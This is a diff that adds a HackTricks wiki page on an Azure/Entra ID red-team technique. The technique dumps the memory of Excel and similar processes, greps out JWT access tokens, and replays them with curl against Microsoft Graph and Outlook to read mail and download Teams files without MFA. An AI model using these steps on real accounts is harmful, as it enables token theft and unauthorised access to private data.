|
| 1 | +# Az - Processes Memory Access Token |
| 2 | + |
| 3 | +{% hint style="success" %} |
| 4 | +Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image.png" alt="" data-size="line">\ |
| 5 | +Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) |
| 6 | + |
| 7 | +<details> |
| 8 | + |
| 9 | +<summary>Support HackTricks</summary> |
| 10 | + |
| 11 | +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! |
| 12 | +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** |
| 13 | +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. |
| 14 | + |
| 15 | +</details> |
| 16 | +{% endhint %} |
| 17 | + |
| 18 | +## **Basic Information** |
| 19 | + |
| 20 | +As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA. |
| 21 | + |
| 22 | +Steps: |
| 23 | + |
| 24 | +1. Dump the excel processes syncronized with in EntraID user with your favourite tool. |
| 25 | +2. Run: `string excel.dmp | grep 'eyJ0'` and find several tokens in the output |
| 26 | +3. Find the tokens that interest you the most and run tools over them: |
| 27 | + |
| 28 | +{% code overflow="wrap" %} |
| 29 | +```bash |
| 30 | +# Check the identity of the token |
| 31 | +curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq |
| 32 | + |
| 33 | +# Check the email (you need a token authorized in login.microsoftonline.com) |
| 34 | +curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq |
| 35 | + |
| 36 | +# Download a file from Teams |
| 37 | +## You need a token that can access graph.microsoft.com |
| 38 | +## Then, find the <site_id> inside the memory and call |
| 39 | +curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq |
| 40 | + |
| 41 | +## Then, list one drive |
| 42 | +curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq |
| 43 | + |
| 44 | +## Finally, download a file from that drive: |
| 45 | +┌──(magichk㉿black-pearl)-[~] |
| 46 | +└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>' |
| 47 | +``` |
| 48 | +{% endcode %} |
| 49 | + |
| 50 | +**Note that these kind of access tokens can be also found inside other processes.** |
| 51 | + |
| 52 | +{% hint style="success" %} |
| 53 | +Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image.png" alt="" data-size="line">\ |
| 54 | +Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) |
| 55 | + |
| 56 | +<details> |
| 57 | + |
| 58 | +<summary>Support HackTricks</summary> |
| 59 | + |
| 60 | +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! |
| 61 | +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** |
| 62 | +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. |
| 63 | + |
| 64 | +</details> |
| 65 | +{% endhint %} |
0 commit comments